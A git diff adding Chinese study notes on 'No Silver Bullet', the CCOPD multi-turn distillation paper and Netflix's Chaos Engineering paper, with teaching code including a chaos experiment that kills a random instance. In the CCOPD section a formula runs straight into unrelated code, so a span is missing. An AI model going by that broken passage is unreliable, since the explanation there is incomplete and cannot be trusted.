+4. **培养伟大设计师(Great designers)**:少数人的概念能力决定系统骨架;管理应识别并重用他们,而非假设人人等同。 + +## 日常类比串讲 + +把做软件想成**写一部长期连载的网络小说**: + +- **本质**:世界观是否自洽、人物动机、伏笔与回收——写崩了,换更快的键盘没用。 +- **偶然**:手写稿 vs Word、没有版本控制 vs Git——工具能让打字快很多,但不能替你设计结局。 +- **银弹幻觉**:「我们用 AI 续写工具了,更新速度能快 10 倍」——若剧情逻辑没理顺,只是更快地产出矛盾章节。 +- **买 vs 造**:通用打斗模板、封面素材可以买;主线剧情必须自己写。 +- **原型**:先写几章试水读者反馈,再定大纲——比写完三百章再改设定省钱得多。 + +## 代码示例一:偶然难度 —— 高级语言解放了什么 + +下面两段实现同一业务规则:「订单满 100 元减 10 元,且每个用户每天只能用一次」。逻辑本身(本质)很简单;左边用接近机器层面的写法,右边用高级语言——差异主要在**偶然**层。 + +```python +# --- 偶然难度高:表达「业务」之前,先要处理大量机器/语言细节 --- +# (示意性伪汇编风格,现代很少这样写业务) +# LOAD user_id +# LOAD order_total_cents +# CALL check_daily_coupon_used ; 跳转、寄存器、手动错误码 +# ... +# 数十行后才能看到「满减」影子 +``` + +```python +# --- 偶然难度低:概念直接贴近问题域 --- +from datetime import date + +def apply_daily_discount(user_id: str, order_total: float, ledger: dict) -> float: + key = (user_id, date.today().isoformat()) + if order_total >= 100 and key not in ledger: + ledger[key] = True + return order_total - 10 + return order_total +``` + +Brooks 指出:从汇编到高级语言,生产力大约 **5 倍**——这是偶然难度的胜利。但若产品经理解释不清「满 100」是否含运费、券能否与会员折扣叠加,**两种写法都一样难**,因为那是本质复杂度。 + +## 代码示例二:本质难度 —— 同样行数,不同的概念构造 + +两个程序都是约 30 行 Python,LOC 相近,但**本质复杂度**天差地别。 + +```python +# 程序 A:本质简单 —— 概念少、状态空间小 +def greet(name: str) -> str: + return f"Hello, {name}!" +``` + +```python +# 程序 B:本质复杂 —— 互锁概念多(Brooks 说的 essence) +class RefundService: + """退款:积分回滚、库存、支付渠道、税务、部分退、跨境汇率……""" + def refund(self, order_id: str, line_items: list, reason: str) -> str: + order = self.orders.get(order_id) + self._validate_refund_window(order) + self._restore_inventory(line_items) + self._rollback_loyalty_points(order, line_items) + amount = self._calc_prorated_amount(order, line_items) + self._sync_tax_report(order, amount) + return self.payments.reverse(order.payment_id, amount) +``` + +Copilot 能帮程序 A 和 B **写得一样快**,却不能把 B 里「部分退时积分按商品类目不同权重扣回」这类规则从空气中生成——除非有人先把规则**想清楚并写进需求**。这就是 Brooks 说必须攻击本质,而非只优化打字速度的原因。 + +## 代码示例三:增量生长 vs 大爆炸(Grow, don't build) + +Brooks 欣赏「先种活,再长枝」的交付方式。对比两种发布策略: + +```python +# 大爆炸:六个月闭门造「完美平台」,第一次上线才接真实流量 +# 风险:概念错误到最后才暴露 + +# 增量生长:每周多一个可运行切片 +# Week 1 — 只读查询 +def list_orders(user_id: str) -> list: + return db.query("SELECT id, total FROM orders WHERE user_id = ?", user_id) + +# Week 3 — 在已运行系统上加退款(最小路径) +def refund_order(order_id: str) -> None: + if not can_refund(order_id): + raise ValueError("outside window") + db.execute("UPDATE orders SET status='refunded' WHERE id = ?", order_id) + # 积分、库存可 Week 5 再挂接 +``` + +第二段代码故意**不一次做全**,让真实用户反馈塑造后续概念——这是攻击「需求难」这一本质步骤,而不是银弹。 + +## 与《人月神话》的关系 + +| 主题 | 《人月神话》(1975) | No Silver Bullet (1986) | +|------|------------------|-------------------------| +| 人力 | 加人可能更慢(沟通成本) | 本质工作无法靠堆人线性压缩 | +| 技术乐观主义 | 质疑单一管理/技术妙方 | 系统区分 essence/accident,论证无数量级银弹 | +| 架构 | 概念完整性、外科团队 | 伟大设计师、买 vs 造、原型 | +| 第二系统 | 警惕过度设计 | 增量生长避免一次造太大 | + +两篇应一起读:前者讲**项目与组织**,后者讲**软件这一事物本身的性质**。 + +## 常见误解 + +1. **「Brooks 反对新技术」** —— 他肯定高级语言、环境、OOP 的增量价值;他反对的是**把它说成 10 倍银弹**。 +2. **「偶然不重要」** —— 偶然难度仍值得持续投资;只是别指望它 alone 解决危机。 +3. **「AI 编程就是新银弹」** —— 从 Brooks 框架看,LLM 主要削减实现与探索的偶然成本;需求歧义、合规、架构折中仍是本质。 +4. **「 essence = 业务,accident = 技术」** —— 划分标准是**是否内在于概念构造**,不是业务/技术二分。混乱的需求文档属于本质;漂亮的 IDE 属于偶然。 + +## 自检清单 + +读完可以用下面问题自测是否真懂: + +- [ ] 能否用你自己的项目举一个「本质难点」和一个「偶然难点」? +- [ ] 为什么说软件「不可见」会放大团队协作成本? +- [ ] 高级语言带来的 5× 提升,为什么无法外推到 50×? +- [ ] 「买而非造」在你的系统里适合用在哪一层,不适合用在哪一层? +- [ ] 若团队引入 Copilot,应如何分别度量它对偶然与本质工作的帮助? + +## 延伸阅读 + +- Frederick P. Brooks, Jr., *The Mythical Man-Month* (1975, 1995 anniversary ed.) — 软件项目管理经典 +- Aristotle, *Metaphysics* — essence/accident 哲学术语来源 +- Ben Moseley & Peter Marks, «Out of the Tar Pit» (2006) — 用不同词汇重谈本质复杂度与状态 +- Fred Brooks, «"No Silver Bullet" Retrospective» — 作者多年后对预言的回顾(收入 *The Mythical Man-Month* 增订材料) + +## 小结 + +Brooks 并不是在泼冷水,而是在画一张**诚实的地图**: + +- 软件难,难在**概念构造**,这是 essence。 +- 工具、语言、环境让表达更轻松,这是 accident 的退却。 +- **没有银弹** ≠ 没有进步;而是要把进步投在正确的瓶颈上:需求、架构、增量验证、商品化复用与优秀设计师。 + +对你我这样的学习者:下次听说「某框架改变一切」时,先问 Brooks 的问题——**它主要是在消灭偶然,还是在直面本质?** 若只是让狼人跑得快一点,你仍然需要学会怎么瞄准心脏。 diff --git a/src/content/docs/papers/ccopd-distillation.md b/src/content/docs/papers/ccopd-distillation.md new file mode 100644 index 000000000..43cd68c37 --- /dev/null +++ b/src/content/docs/papers/ccopd-distillation.md @@ -0,0 +1,368 @@ +--- +title: CCOPD — 多轮语言模型的规范上下文在线策略蒸馏 +来源: https://arxiv.org/abs/2605.30251 +日期: 2026-06-13 +子分类: 模型与训练 +分类: 机器学习 +provenance: pipeline-v3 +--- + +## 从日常类比开始:同一道题,分三次说完 vs 一次说完 + +想象你在帮朋友算婚礼餐饮预算。有两种沟通方式,**信息总量完全一样**: + +**方式 A(FULL,一次说完)** +「Jenny 婚礼 80 位客人,想要牛排的是想要鸡肉的 3 倍,牛排 $25、鸡肉 $18,总预算是多少?」 + +**方式 B(RAW-SHARDED,分多轮说完)** +- 第 1 轮用户:「牛排 $25、鸡肉 $18,总预算是多少?」 +- 助手(信息还不全):「大概需要知道人数和比例……我先假设各一半?」← **自己猜了一个数** +- 第 2 轮用户:「80 位客人。」 +- 助手:「那按刚才的假设……」← **继续沿用错误假设** +- 第 3 轮用户:「想要牛排的是想要鸡肉的 3 倍。」 +- 助手最终答案:可能和方式 A **不一样**——不是因为它没收到全部事实,而是**被中间自己说过的话「锚定」了**。 + +这就是论文标题 *Same Evidence, Different Answers* 的核心:**证据相同,答案却可能不同**。 +浙江大学等作者提出的 **CCOPD(Canonical-Context On-Policy Distillation)**,目标是把这种「多轮分片说」时的表现,拉齐到「一次说全」时的表现——而且**不需要更强的外部教师模型**,也**不需要推理时额外修修补补**。 + +--- + +## 这篇论文在解决什么问题 + +### 1. 规范上下文一致性(Canonical-Context Consistency) + +用户很少在第一句话就把任务说完整;真实对话里,约束往往是**逐轮披露**的。一个可靠的多轮模型应满足: + +> 当 RAW-SHARDED 对话里**所有用户侧证据**都已披露完毕时,最终答案分布应接近 **FULL**(一次性完整 prompt)条件下的分布。 + +形式化写作: + +$$ +\pi(y \mid h(q)) \approx \pi(y \mid c(q)) +$$ + +其中 $c(q)$ 是规范 FULL prompt,$h(q)$ 是任务等价的 RAW-SHARDED 历史。 + +### 2. 自锚定漂移(Self-Anchored Drift) + +RAW-SHARDED 历史不只是「更长的 prompt」,它还包含模型**在信息不全时**自己生成的中间回复 $a_1, a_2, \ldots$。这些回复可能带有: + +- 未经验证的猜测 +- 临时答案 +- 过早的承诺 + +等最后一轮用户把缺失事实补全后,上下文里**用户证据已经完整**,但模型仍可能被**自己 earlier 的 assistant 文本**带偏——论文称此为 **self-anchored drift**。 + +### 3. CCOPD 的思路(一句话) + +用**同一个基座模型**扮演两个角色: + +| 角色 | 输入 | 是否训练 | +|------|------|----------| +| **Teacher(教师)** | 干净的 FULL prompt | 冻结 | +| **Student(学生)** | 真实的 RAW-SHARDED 多轮历史(含污染性的中间回复) | 可训练(LoRA) | + +学生在**自己 rollout 出的最终答案前缀**上生成;教师在同一答案前缀下、但 conditioning 于 FULL prompt,给出「规范」的下一 token 分布。训练最小化 **reverse KL**,把多轮路径的行为对齐到 FULL 路径——这是 **on-policy** 的:监督的是学生**实际走到的状态**,而非固定演示轨迹。 + +--- + +## 三种任务等价呈现模式 + +论文沿用 Laban 等(2025)的 **task-equivalent sharding** 设定: + +| 模式 | 含义 | 典型用途 | +|------|------|----------| +| **FULL** | 完整题目一次给出 | 上界 / 教师条件 | +| **CONCAT** | 所有 user shard 拼成一条,无中间 assistant 回复 | 对照:有分片、无自污染 | +| **RAW-SHARDED** | 用户逐轮披露 shard,中间穿插**真实模型**生成的 assistant 回复 | hardest:测 self-anchored drift | + +GSM8K 风格训练里,shard 构造有个刻意设计:**第一个 shard 往往是「问题句/所求量」**,支持事实排在后面——迫使模型在信息不全时也要说话,从而制造真实的中间污染。 + +--- + +## 核心概念详解 + +### 1. 局部呈现差距 $\Psi_\pi(q, s)$ + +固定同一个答案前缀 $s$,比较两种呈现下下一 token 分布的差异: + +$$ +\Psi_\pi(q, s) = D_{\mathrm{KL}}\!\left(\pi(\cdot \mid h(q), s) \,\|\, \pi(\cdot \mid c(q), s)\right) +$$ + +- 同一模型、同一前缀,**只换上下文呈现方式** +- 值越大 → 该前缀处模型对「分片历史 vs 完整 prompt」越敏感 +- CCOPD 把这个差距变成训练信号 + +### 2. On-Policy Canonical Relabeling + +对每个保留的 pair $(c, h)$: + +1. 学生从 RAW-SHARDED 历史 $h$ **采样**最终答案 rollout $\hat{y}_{1:T}$ +2. 对每个属于最终答案的 token 位置 $t$,计算 + - 学生:$p_\theta(\cdot \mid h, \hat{y}_{ list[str]: + text = re.sub(r"\s+", " ", text.strip()) + parts = re.split(r"(?<=[.?!])\s+", text) + if len(parts) >= 2: + return [p.strip() for p in parts if p.strip()] + # fallback: 按连接词切 + for conj in (" while ", " if ", " when ", " then ", " but ", " and "): + if conj in text.lower(): + return [s.strip() for s in re.split(conj, text, flags=re.I) if s.strip()] + return [text] + +def build_static_shards(question: str) -> ShardedTask: + units = split_into_sentences(question) + # 含问号的最后一句作为 query shard(论文:先问「所求量」) + query_idx = max(i for i, u in enumerate(units) if "?" in u) if any("?" in u for u in units) else len(units) - 1 + query = units[query_idx] + facts = [u for i, u in enumerate(units) if i != query_idx] + shards = [query] + facts + return ShardedTask(full_prompt=question, shards=shards) + +# GSM8K 风格例题(论文 Table 7) +q = ( + "Jenny is planning her catering budget for her wedding. " + "She is going to have 80 guests. 3 times as many guests want steak as chicken. " + "If each steak entree costs $25 and each chicken entree costs $18, " + "how much is the total catering budget?" +) +task = build_static_shards(q) +print("FULL:\n", task.full_prompt, "\n") +print("RAW-SHARDED 用户轮次:") +for i, shard in enumerate(task.shards, 1): + print(f" Turn {i} user: {shard}") +# 真实 RAW-SHARDED 还会在每轮 user 后插入 assistant 的 process reply —— 污染来源 +``` + +**读法**:`shards[0]` 往往在信息不全时就问「总预算是多少?」;模型若此时瞎猜并写入上下文,后面即使用 FULL 等价证据补全,也可能 **self-anchor** 到错误中间态。 + +--- + +## 代码示例 2:CCOPD 的 reverse-KL 损失(PyTorch 伪代码) + +这是对论文 §4.2 训练目标的**教学级**实现骨架:同一前缀、双条件、只 mask 最终答案 token。 + +```python +import torch +import torch.nn.functional as F + +def reverse_kl(student_logits, teacher_logits, mask): + """ + student_logits, teacher_logits: [batch, seq_len, vocab] + mask: [batch, seq_len] bool,True 表示属于 final-answer 位置 + """ + # 只在 mask 位置算 KL( student || teacher ) + s_logp = F.log_softmax(student_logits, dim=-1) + t_logp = F.log_softmax(teacher_logits, dim=-1) + t_prob = t_logp.exp() + + kl_token = (t_prob * (t_logp - s_logp)).sum(dim=-1) # [batch, seq_len] + kl = (kl_token * mask.float()).sum() / mask.float().sum().clamp(min=1) + return kl + +def ccopd_step(student_model, teacher_model, full_ids, raw_history_ids, tokenizer): + """ + full_ids: FULL prompt token ids(仅 teacher 可见) + raw_history_ids: RAW-SHARDED 历史,止于 final user turn(仅 student 可见) + """ + teacher_model.eval() + for p in teacher_model.parameters(): + p.requires_grad = False + + # 1) 学生 on-policy rollout 最终答案 + with torch.no_grad(): + gen = student_model.generate( + raw_history_ids, + max_new_tokens=512, + do_sample=True, + temperature=1.0, + top_p=0.95, + ) + answer_start = raw_history_ids.shape[1] + answer_ids = gen[:, answer_start:] + prefix_ids = gen[:, :answer_start + answer_ids.shape[1]] + + # 2) 构造 final-answer mask(简化:生成段全部计入) + seq_len = prefix_ids.shape[1] + mask = torch.zeros_like(prefix_ids, dtype=torch.bool) + mask[:, answer_start:] = True + + # 3) 双路 forward:同一 prefix,不同 conditioning + # Teacher: condition on FULL + shared answer prefix + teacher_in = torch.cat([full_ids, answer_ids], dim=1) + teacher_logits = teacher_model(teacher_in).logits[:, full_ids.shape[1]-1:-1] + + # Student: condition on RAW history + shared answer prefix + student_logits = student_model(prefix_ids).logits[:, answer_start-1:-1] + + loss = reverse_kl(student_logits, teacher_logits, mask[:, answer_start:]) + loss.backward() + return loss.item() +``` + +**对应关系**: + +- `teacher_model` = 冻结的同 backbone FULL 条件 +- `student_model` = 可训练 RAW-SHARDED 条件 +- `reverse KL` 把学生分布拉向教师——学生若被 self-anchor 带偏,在该前缀上的 logits 会与 FULL 教师不一致,梯度推动修正 + +--- + +## 代码示例 3:演示 self-anchored drift 的对话结构 + +```python +from dataclasses import dataclass + +@dataclass +class Turn: + role: str + content: str + +def raw_sharded_history() -> list[Turn]: + """同一 FULL 题的信息,分多轮披露;assistant 中间回复可能污染最终答案。""" + return [ + Turn("system", "You are a helpful math tutor."), + Turn("user", "If steak is $25 and chicken is $18, what's the total catering budget?"), + Turn("assistant", "I'll assume 50 steak and 30 chicken guests for now... budget ≈ $1790."), + Turn("user", "There are 80 guests total."), + Turn("assistant", "Keeping my earlier split, adjusting slightly..."), + Turn("user", "Three times as many want steak as chicken."), + # 下一 turn 才应给出最终答案;但上下文里已留下错误 numeric anchor + ] + +def full_prompt() -> str: + return ( + "Jenny's wedding: 80 guests; steak guests = 3× chicken guests; " + "steak $25, chicken $18. Total catering budget?" + ) + +# CCOPD 训练目标:在 raw_sharded_history() 条件下生成的最终答案, +# 其 token 分布应接近在 full_prompt() 条件下、同一答案前缀上的分布。 +``` + +--- + +## 训练配置速查(论文 Appendix J) + +| 项目 | 配置 | +|------|------| +| 基座 | Qwen3-8B | +| 微调 | LoRA r=16, α=32, ~43.65M 参数 | +| 数据 | 6k RAW-SHARDED 数学对话 | +| 目标 | CCOPD KL-only | +| LR | 3e-5,AdamW,4 epochs | +| Rollout | temperature=1.0, top-p=0.95, max 4096 new tokens | +| 算力 | ~132 GPU·hours(RTX 4090) | + +--- + +## 与相关工作的关系 + +- **Lost in Conversation / Laban 2025**:提出 task-equivalent sharding 评测框架;CCOPD 在其 RAW-SHARDED 设定上训练与评估 +- **On-Policy Distillation (OPD)**:一般让学生跟 teacher 的 on-policy 轨迹;CCOPD 的特殊性是 **同 backbone、不同呈现**,teacher 并非更强模型 +- **OPCD(On-Policy Context Distillation, arXiv:2602.12275)**:把上下文蒸馏进参数;CCOPD 专注 **多轮呈现不变性** 而非压缩 system prompt +- **Locally Coherent, Globally Incoherent(2605.30335)**:都涉及「局部看起来合理、全局却有问题」;CCOPD 是**单模型多轮**层面的 self-anchor,LCGI 是**多组件 Agent** 层面的概率不一致 + +--- + +## 局限与论文自述边界 + +1. **Shard 构造是确定性的 GSM8K 风格**,不覆盖所有自然多轮对话形态 +2. **English only**,任务族以 instruction-following / reasoning 为主 +3. **不能宣称**对所有 full-context 污染格式都免疫——强 user-side hint 仍比 assistant-side 更难 +4. 提升 task correctness ≠ 通用安全 / 事实性保证;部署仍需原有 guardrails +5. 测试时 lightweight reset/defer prompt 对 CCOPD 模型反而略降分——说明能力已**内化**,额外 meta 指令冗余 + +--- + +## 给工程师的 takeaway + +1. **多轮 ≠ 长 prompt**:assistant 历史是**一阶公民**,会改变最终答案分布 +2. **评测要分 FULL / RAW-SHARDED**:只在 FULL 上刷分,无法代表真实聊天产品 +3. **CCOPD 是训练处方**:同模型自蒸馏 + FULL 作 canonical view + on-policy reverse KL +4. **数学-only 训练可迁移**:对齐「等证据不同呈现」这一**元能力**,不绑具体领域 +5. 若你在做 agent / 多轮 copilot:优先检查是否存在 **self-anchored drift**(中间 tool 输出、草稿、错误假设是否污染最终决策) + +--- + +## 延伸阅读 + +- 论文 HTML:[arXiv:2605.30251](https://arxiv.org/html/2605.30251v1) +- 相关工作:Laban et al. (2025) sharded instruction evaluation +- 同期:**OPCD**(上下文内化蒸馏)、**LCGI**(多组件全局不一致) + +--- + +## 自测题 + +1. FULL 与 RAW-SHARDED 在**用户证据**上等价时,为什么答案仍可能不同? +2. CCOPD 的 teacher 比 student「强」吗?强在哪里、不强在哪里? +3. 为什么是 **reverse KL** 且只在 **final-answer mask** 上算? +4. CONCAT 模式在 ablation 里通常起什么对照作用? +5. 若只有推理预算、不能训练,论文 Appendix H 哪种 test-time mode 对 base 模型更有帮助? + +
+参考答案(先自己想) + +1. 中间 assistant 回复在信息不全时引入 unsupported assumptions,最终轮仍 conditioning 于这些 self-generated text → self-anchored drift。 +2. 不强在能力:同一 Qwen3-8B backbone;强在**呈现**——teacher 看 FULL,student 看 RAW-SHARDED。无外部更强模型。 +3. Reverse KL 模式覆盖:让学生分布贴近 FULL 教师;mask 限制在最终答案,避免蒸馏过程回复的格式差异干扰。 +4. CONCAT 有分片、无 assistant 污染,用来分离「分片本身」vs「self-anchor」的贡献。 +5. **Reset-then-answer**(每轮先重述 Current goal)对 base 帮助更大;defer-until-complete 收益很小。 + +
diff --git a/src/content/docs/papers/chaos-engineering-netflix-2016.md b/src/content/docs/papers/chaos-engineering-netflix-2016.md new file mode 100644 index 000000000..0a977d945 --- /dev/null +++ b/src/content/docs/papers/chaos-engineering-netflix-2016.md @@ -0,0 +1,279 @@ +--- +title: Chaos Engineering — Netflix 如何把「故意搞破坏」变成可靠性学科 +来源: https://arxiv.org/abs/1702.05843 +日期: 2026-06-13 +分类: 其他 +子分类: 工程文化 +provenance: pipeline-v3 +--- + +## 先想成什么事 + +想象你管理一栋**大型商场**(这就是 Netflix 那样的分布式在线服务): + +- 电梯、空调、收银、监控、消防喷淋各自是不同承包商(微服务)。 +- 顾客以为自己在逛「一家店」,背后其实是几十套系统同时协作。 +- 真正可怕的不是「某台收银机坏了」——而是**连锁反应**:电梯卡死 → 疏散通道堵死 → 监控误报 → 全场停业。 + +传统做法像**等火灾再练逃生**:上线前做单元测试、集成测试、预发压测,然后祈祷生产别出事。问题是:测试环境再像生产,也模拟不了「周三晚高峰 + 某个机房光缆被挖断 + 配置中心推了错误参数」这种组合。 + +Netflix 的做法像**定期消防演习**,而且演习发生在**营业中的商场**: + +- 随机关掉几台收银机(Chaos Monkey 杀 EC2 实例),看顾客能不能换队伍结账。 +- 偶尔模拟**整层停电**(Chaos Kong 区域级演练)。 +- 让部分服务之间的「内部电话」故意占线(Failure Injection Testing,FIT),看推荐页能不能降级成静态列表。 + +这篇论文(Basiri、Hochstein 等,**IEEE Software** 2016 年 5–6 月,arXiv:1702.05843)把上述实践提炼成一门学科:**混沌工程(Chaos Engineering)**——在分布式系统上**做受控实验**,从而建立「生产环境能承受动荡」的信心。 + +## 这篇论文在说什么 + +| 维度 | 内容 | +|------|------| +| 标题 | Chaos Engineering | +| 作者 | Ali Basiri, Narayan Behnam, Rudolph de Rooij, Lorin Hochstein, Jon Kosewski, Jake Reynolds, Colin Rosenthal(Netflix) | +| 发表 | IEEE Software, vol. 33, no. 3, pp. 35–41, May–June 2016 | +| arXiv | [1702.05843](https://arxiv.org/abs/1702.05843)(2017-02 提交) | +| 延伸 | [Principles of Chaos Engineering](https://principlesofchaos.org/)(业界四原则与实验步骤的公开版) | + +论文核心论断: + +> **混沌工程是在分布式系统上进行实验的学科,目的是建立系统在生产动荡条件下仍能正常工作的信心。** + +「动荡」可以是硬件宕机、流量突增、配置项写错、依赖服务超时——任何能让**可观测行为**偏离常态的事件。 + +## 为什么值得读(零基础也能建立图景) + +现代服务几乎都是**分布式系统**:多实例、多机房、异步队列、缓存、CDN、第三方 API。组件单独测过「能跑」,组合起来会出现论文里说的 **emergent behavior(涌现行为)**——没人写过的那条失败路径,往往在第一次大促才现身。 + +混沌工程不是「运维发疯删库」,而是把可靠性验证变成**可重复的科学实验**: + +- 有**假设**(steady state 不会被破坏) +- 有**对照**(实验组注入故障 vs 对照组) +- 有**度量**(错误率、延迟分位数、业务 KPI) +- 有**自动化**(否则一次手工演练的结论会随代码腐烂而过期) + +它和 [[helland-2007]]「大规模下别迷信分布式事务」、[[spanner]] 多副本一致性、[[firecracker-microvm-2020]] 隔离边界是同一可靠性谱系的不同切面:前者讲架构取舍,混沌工程讲**如何在真实流量下验证这些取舍没骗人**。 + +## 核心概念 + +### 1. 稳态(Steady State) + +不要盯着「CPU 是不是 37%」这种内部指标,而要找**能代表系统「正常工作」的可测量输出**: + +- 吞吐量(如每秒成功播放次数) +- 错误率 +- 延迟分位数(p50 / p95 / p99) +- 业务 KPI(注册转化率、订单完成率) + +论文与 principlesofchaos.org 都强调:**稳态是一段时间内输出指标的集合**,是系统行为的「代理变量」。实验就是看注入故障后,这些输出是否仍落在正常带内。 + +Netflix 历史上用 **SPS(starts per second,每秒播放启动次数)** 作为关键稳态信号之一——观众点播放,系统就必须在可接受延迟内出画面。 + +### 2. 实验四步法(设计一次混沌实验) + +论文给出的流程与科学实验模板一致: + +1. **定义稳态**:选可观测输出,划定「正常」区间。 +2. **建立假设**:对照组与实验组在注入前都应保持稳态;注入真实世界事件后,**稳态仍应成立**(或按设计优雅降级)。 +3. **引入变量**:从「现实中可能发生的事件」采样——宕机、磁盘坏、网络断、依赖超时、流量尖峰、错误配置。 +4. **试图证伪**:若实验组稳态与对照组显著偏离,假设被推翻——你发现了可靠性漏洞,而不是「实验失败」。 + +注意:证伪成功 = 工程上的胜利,因为你赶在用户之前找到了 bug。 + +### 3. 混沌工程的四大原则 + +| 原则 | 含义 | 直觉 | +|------|------|------| +| **围绕稳态建立假设** | 实验检验的是可观测行为,不是「某台机器灯还亮着」 | 顾客能看电影,比「Pod 还在」重要 | +| **变化真实世界事件** | 刺激应从历史故障、告警、变更记录里采样 | 专挑发生过的问题重演 | +| **在生产环境运行** | 真实流量路径与资源竞争无法被测试环境完全复制 | 演习要在营业中进行(有安全绳) | +| **持续自动化** | 手工演练会腐烂;系统每次发布都改变失败模式 | 消防演习要进 CI/CD,而不是年终一次 | + +第三条最反直觉,也最有争议:**没有 blast radius 控制、没有自动熔断和回滚的生产实验是鲁莽,不是混沌工程。** + +### 4. Netflix 工具谱系(论文语境) + +| 工具 | 做什么 | 规模 | +|------|--------|------| +| **Chaos Monkey** | 在工作时间随机终止生产 EC2 实例 | 单机 / 单实例 | +| **Chaos Kong** | 模拟整个 AWS 区域不可用 | 区域级 | +| **FIT**(Failure Injection Testing) | 让服务间调用失败,验证降级路径 | 依赖 / RPC 级 | +| **ChAP**(Chaos Automation Platform,后续工作 arXiv:1702.05849) | 分流一小部分线上流量并注入故障,自动比对稳态 | 持续自动化 | + +Chaos Monkey 故意只在**工作时间**运行,以便工程师能立刻响应——这本身就是 blast radius 设计。后来社区开源了 [Netflix/chaosmonkey](https://github.com/Netflix/chaosmonkey)(Go,与 Spinnaker 集成)。 + +## 代码示例一:用 Python 描述「稳态假设 + 实验」骨架 + +下面不是 Netflix 内部代码,而是把论文四步法翻译成可运行的**最小实验框架**:在注入故障前后拉 Prometheus 指标,判断稳态是否被破坏。 + +```python +from dataclasses import dataclass +from time import sleep +import random +import requests + +PROM = "http://localhost:9090/api/v1/query" + +@dataclass +class SteadyState: + """稳态:错误率 < 1% 且 p99 延迟 < 500ms""" + max_error_rate: float = 0.01 + max_p99_seconds: float = 0.5 + + def observe(self) -> dict: + err = float(requests.get(PROM, params={ + "query": 'rate(http_requests_total{status=~"5.."}[1m])' + '/ rate(http_requests_total[1m])' + }).json()["data"]["result"][0]["value"][1]) + p99 = float(requests.get(PROM, params={ + "query": 'histogram_quantile(0.99, rate(http_request_duration_seconds_bucket[1m]))' + }).json()["data"]["result"][0]["value"][1]) + return {"error_rate": err, "p99": p99} + + def is_healthy(self, m: dict) -> bool: + return m["error_rate"] < self.max_error_rate and m["p99"] < self.max_p99_seconds + +def kill_random_instance(asg_client, group_name: str) -> str: + """混沌变量:终止一台实例(类比 Chaos Monkey)""" + inst = random.choice(asg_client.describe_instances(group_name)) + asg_client.terminate_instance(inst) + return inst + +def run_experiment(asg_client, group_name: str) -> bool: + steady = SteadyState() + baseline = steady.observe() + assert steady.is_healthy(baseline), "对照组尚未稳态,拒绝实验" + + victim = kill_random_instance(asg_client, group_name) + print(f"injected: terminated {victim}") + + sleep(120) # 等待流量重均衡 + after = steady.observe() + hypothesis_holds = steady.is_healthy(after) + print(f"baseline={baseline} after={after} hypothesis_holds={hypothesis_holds}") + return hypothesis_holds + +if __name__ == "__main__": + ok = run_experiment(asg_client=..., group_name="api-prod") + if not ok: + raise SystemExit("稳态被破坏 — 需要修复冗余/超时/熔断,而非责怪实验") +``` + +要点: + +- **先验证对照组健康**,否则实验没有基线。 +- **注入后等待足够长**,让负载均衡、缓存预热、熔断器状态稳定下来再判定。 +- 失败时默认是**系统设计问题**,不是「别做混沌」。 + +## 代码示例二:Kubernetes 上用 Litmus 做「依赖超时」实验 + +第二类常见变量不是杀 Pod,而是**让下游变慢或失败**(对应 FIT / 微服务降级验证)。LitmusChaos 是 CNCF 生态里常用的混沌框架;下面是一个 `NetworkChaos` 片段,对 `catalog` 服务的出站流量注入延迟: + +```yaml +apiVersion: litmuschaos.io/v1alpha1 +kind: ChaosEngine +metadata: + name: catalog-network-latency + namespace: production +spec: + appinfo: + appns: production + applabel: "app=catalog" + appkind: deployment + chaosServiceAccount: litmus-admin + experiments: + - name: pod-network-latency + spec: + components: + env: + - name: NETWORK_LATENCY + value: "2000" # 注入 2s 延迟 + - name: TARGET_CONTAINER + value: "catalog" + - name: DESTINATION_HOSTS + value: "ratings.default.svc.cluster.local" + - name: TOTAL_CHAOS_DURATION + value: "300" # 持续 5 分钟 + probe: + - name: "checkout-success-rate" + type: "promProbe" + mode: "Continuous" + promProbe/inputs: + endpoint: "http://prometheus.monitoring:9090" + query: | + sum(rate(checkout_completed_total[1m])) + / sum(rate(checkout_attempted_total[1m])) + comparator: + type: "float" + criteria: ">=" + value: "0.995" # 结账成功率仍须 ≥ 99.5% +``` + +这段配置体现了论文原则: + +- **真实事件**:网络变慢是数据中心日常风险。 +- **稳态探针**:用业务指标 `checkout_completed` 而非仅看 Pod Ready。 +- **有界时长**:300 秒后自动停止,控制 blast radius。 + +若探针在实验期间失败,Litmus 会把实验标为失败——等价于**证伪了「ratings 慢 2 秒不影响结账」的假设**。 + +## 实验设计清单(上手时可打印) + +1. **稳态指标是否与用户痛苦对齐?**(别只监控 CPU) +2. **爆炸半径**:能否限制在单个区域、单个集群、1% 流量(ChAP 思路)? +3. **能否一键中止?**(Kill switch、实验 TTL) +4. **是否在流量低谷先试?**(Chaos Monkey 的工作时间策略) +5. **事后有没有写 postmortem 并反哺下一批变量?**(论文强调用历史 outage 采样刺激) +6. **是否自动化到每次发布都跑?**(否则结论会腐烂) + +## 与其他实践的关系 + +| 实践 | 与混沌工程的关系 | +|------|------------------| +| **单元 / 集成测试** | 验证「组件按 spec 工作」;混沌验证「组合在动荡下仍工作」 | +| **金丝雀发布** | 控制变更风险;混沌控制**基础设施与依赖**风险,二者互补 | +| **游戏日(Game Day)** | 常用手工、大规模演练;混沌工程强调**持续、自动化、可度量** | +| **故障注入(Fault Injection)** | 混沌工程是其上的**实验方法论 + 文化**(假设、稳态、生产、自动化) | + +O'Reilly《Chaos Engineering》一书(Rosenthal、Jones 等)把 Netflix 经验推广为行业手册;Kubernetes 生态的 [Chaos Mesh](https://github.com/chaos-mesh/chaos-mesh)、[Litmus](https://litmuschaos.io/)、AWS [Fault Injection Simulator](https://aws.amazon.com/fis/) 都是同一思想的工程产品化。 + +## 常见误解 + +1. **「混沌 = 随机删生产」** — 没有假设、没有稳态度量、没有半径控制,那只是事故。 +2. **「测试环境做就行」** — 测试环境缺少真实流量组合、缓存状态、租户隔离压力;论文明确偏向生产(在有保护措施的前提下)。 +3. **「一次通过就永久安全」** — 代码、配置、流量模式一直在变;实验必须**持续自动化**重复。 +4. **「只有大公司才需要」** — 三个微服务 + 一个 Redis 也会有级联超时;规模小反而更该用**小半径**实验养成习惯。 + +## 踩过的坑(Netflix 与社区共识) + +1. **稳态选错**:监控 Pod 存活,却漏掉「播放启动成功率」下跌——用户已经受影响,实验却显示 green。 +2. **对照组不存在**:全集群一起注入,无法区分是故障还是本来就有发布——论文四步法要求能比较实验组与对照组行为。 +3. **没有超时上限**:2 秒网络延迟实验跑了 6 小时,把缓存打穿——`TOTAL_CHAOS_DURATION` 不是装饰。 +4. **组织未就绪**:开发从未写过降级路径,第一次 Chaos Monkey 